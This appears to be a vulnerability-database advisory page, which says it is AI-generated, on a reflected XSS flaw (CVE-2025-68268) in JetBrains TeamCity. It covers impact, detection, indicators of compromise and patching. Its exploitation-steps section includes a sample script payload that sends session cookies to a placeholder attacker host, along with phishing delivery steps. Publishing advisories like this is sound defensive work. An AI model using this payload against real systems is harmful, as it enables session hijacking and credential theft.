CVE-2025-68268
JetBrains TeamCity vulnerability analysis and mitigation

Overview

CVE-2025-68268 is a reflected Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity affecting all versions prior to 2025.11.1. The flaw exists on the storage settings page and allows unauthenticated remote attackers to inject malicious scripts that execute in the context of a victim's browser session. It was published on December 16, 2025, and patched in TeamCity 2025.11.1. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) per NVD, though JetBrains/ENISA rate it at 5.4 (JetBrains Advisory, Red Hat CVE).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the reflected type (CAPEC-591). User-supplied input on the TeamCity storage settings page is not properly sanitized or encoded before being reflected back in the HTTP response, enabling an attacker to craft a malicious URL containing a script payload. When a logged-in user clicks such a link, the injected script executes in their browser under the TeamCity origin. No authentication is required on the attacker's side, but user interaction (clicking a crafted link) is necessary (JetBrains Advisory, Red Hat CVE).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of an authenticated TeamCity user, potentially leading to session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim within the TeamCity application. Because TeamCity is a CI/CD platform with access to source code, build pipelines, and deployment credentials, account compromise via XSS could facilitate supply chain attacks or lateral movement into connected infrastructure. Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact (Red Hat CVE, JetBrains Advisory).

Exploitability

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-68268 as of the available data. The EPSS score is approximately 0.158%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection signatures are available via Nessus (plugin 279406) and Qualys (QID 530767) (Tenable Nessus, Qualys).

Exploitation steps

  1. Reconnaissance: Identify internet-facing JetBrains TeamCity instances running versions prior to 2025.11.1 using tools like Shodan or Censys, or by checking the TeamCity version endpoint.
  2. Craft malicious URL: Construct a URL targeting the TeamCity storage settings page that includes a reflected XSS payload in a vulnerable query parameter (e.g., https://teamcity.example.com/admin/storageSettings.html?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
  3. Deliver the payload: Send the crafted URL to a targeted TeamCity user (e.g., an administrator) via phishing email, chat message, or other social engineering vector.
  4. Capture session data: When the victim clicks the link and the script executes in their browser, the attacker's server receives the victim's session cookie or other sensitive data, enabling session hijacking.
  5. Leverage access: Use the stolen session token to authenticate to TeamCity as the victim, potentially accessing build configurations, secrets, and deployment pipelines (JetBrains Advisory, Red Hat CVE).

Indicators of compromise

  • Network: Outbound HTTP requests from a user's browser to unexpected external domains immediately after accessing the TeamCity storage settings page; unusual GET/POST requests to attacker-controlled URLs containing encoded cookie or token data.
  • Logs: TeamCity access logs showing requests to the storage settings page with unusual or encoded characters (e.g., <script>, %3Cscript%3E, javascript:) in query parameters.
  • Process/Session: Unexpected administrative actions (e.g., new user creation, pipeline modification, secret access) performed under a legitimate user's session from an unfamiliar IP address or user-agent string.

Mitigation and workarounds

JetBrains has released TeamCity 2025.11.1, which resolves this vulnerability. Organizations should upgrade to version 2025.11.1 or later as the primary remediation. No official configuration-based workaround has been published; restricting access to the TeamCity storage settings page to trusted network segments or VPN can reduce exposure as a temporary measure. Web application firewalls (WAFs) with XSS filtering rules may provide partial mitigation but should not be relied upon as a substitute for patching (JetBrains Advisory).

Community reactions

The vulnerability received routine coverage from security aggregators and scanner vendors shortly after disclosure. Tenable published a Nessus detection plugin (279406) and Qualys added detection (QID 530767) in December 2025. No notable researcher commentary, vendor statements beyond the patch advisory, or significant social media discussion has been identified for this specific CVE (Tenable Nessus, Qualys).

Additional resources


SourceThis report was generated using AI

Related JetBrains TeamCity vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-65906CRITICAL10
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesJul 23, 2026
CVE-2026-63077CRITICAL9.8
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
YesYesJul 27, 2026
CVE-2026-59796HIGH8.1
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesJul 10, 2026
CVE-2026-59795MEDIUM6.1
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesJul 10, 2026
CVE-2026-59794MEDIUM5.4
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesJul 10, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management